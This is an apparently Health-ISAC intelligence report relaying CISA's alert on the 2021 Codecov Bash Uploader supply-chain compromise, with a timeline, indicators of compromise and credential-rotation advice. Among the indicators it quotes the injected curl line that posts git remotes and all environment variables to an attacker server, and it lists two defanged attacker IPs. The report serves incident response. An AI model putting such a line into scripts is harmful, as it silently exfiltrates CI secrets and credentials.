FINISHED INTELLIGENCE REPORTS

Codecov Releases New Detections for Supply Chain Compromise

○○○ TLP:WHITE

Apr 30, 2021

On April 30, 2021, the Cybersecurity and Infrastructure Security Agency (CISA) posted an alert dubbed Codecov Releases New Detections for Supply Chain Compromise.

CISA is aware of a compromise of the Codecov software supply chain in which a malicious threat actor made unauthorized alterations of Codecov's Bash Uploader script, beginning on January 31, 2021. Upon discovering the compromise on April 1, 2021, Codecov immediately remediated the affected script. On April 15, 2021, Codecov notified customers of the compromise and on April 29, 2021, Codecov released an update containing new detections—including indicators of compromise (IOCs) and a non-exhaustive data set of likely compromised environment variables—to assist organizations in determining whether they have been affected.

Immediately upon becoming aware of the issue, Codecov secured and remediated the affected script and began investigating any potential impact on users. A third-party forensic firm has been engaged to assist in the analysis of the incident. In addition, Codecov has reported the matter to law enforcement and are fully cooperating with their investigation.

Codecov’s investigation has determined that beginning January 31, 2021, there were periodic, unauthorized alterations of their Bash Uploader script by a third party, which enabled them to potentially export information stored in users' continuous integration (CI) environments. This information was then sent to a third-party server outside of Codecov’s infrastructure.

The Bash Uploader is also used in several related uploaders, or “Bash Uploaders”, including Codecov-actions uploader for Github, the Codecov CircleCI Orb, and the Codecove Bitrise Step. Therefore, these related uploaders were also impacted by the incident.

Indicators of Compromise:

- The modified portion of the bash uploader script was as follows - curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http://IPADDRESS/upload/v2 || true
- The IP Addresses where the data was transmitted to from the bash script above were 178[.]62[.]86[.]114, 104[.]248[.]94[.]23

Between January 3, 2021 and April 1, 2021 there were 108 windows of time while the malicious Bash Uploader was affected. Based on Codecov’s analysis, the only change ever to be made to the bash uploader was the change above. Codecov recently obtained a non-exhaustive, redacted set of environment variables that they have evidence were compromised. Codecov also has evidence on how these compromised variables may have been used.

Indicators of Compromise have been entered into Health-ISAC's automated sharing platform for those members ingesting automated threat indicators.

Reference(s)	codecov, Bleeping Computer, Bleeping Computer, Info Security Magazine, Codecov Releases New Detections for Supply Chain Compromise

Recommendations
CISA urges all Codecov users to review the Codecov update and:

- Search for the IOCs provided.
- Log in to Codecov to see any additional information specific to their organization and repositories.

Affected users should immediately implement the guidance in the Recommended Actions for Affected Users and FAQ sections of Codecov’s update. CISA recommends giving special attention to Codecov’s guidance on changing (“re-rolling”) potentially affected credentials, tokens, and keys. CISA also recommends revoking and reissuing any potentially affected certificates

Release Date
Apr 30, 2021

Sources
Bash Uploader Security Update

Codecov Begins Notifying Customers Affected by Supply-Chain Attack

Hundreds of Networks Hacked in Codecov Supply-Chain Attack

Codecov Supply Chain Attack May Hit Thousands

Codecov Releases New Detections for Supply Chain Compromise

Alert ID f30c7b0a

View Alert

For Questions or Comments Please email us at toc@h-isac.org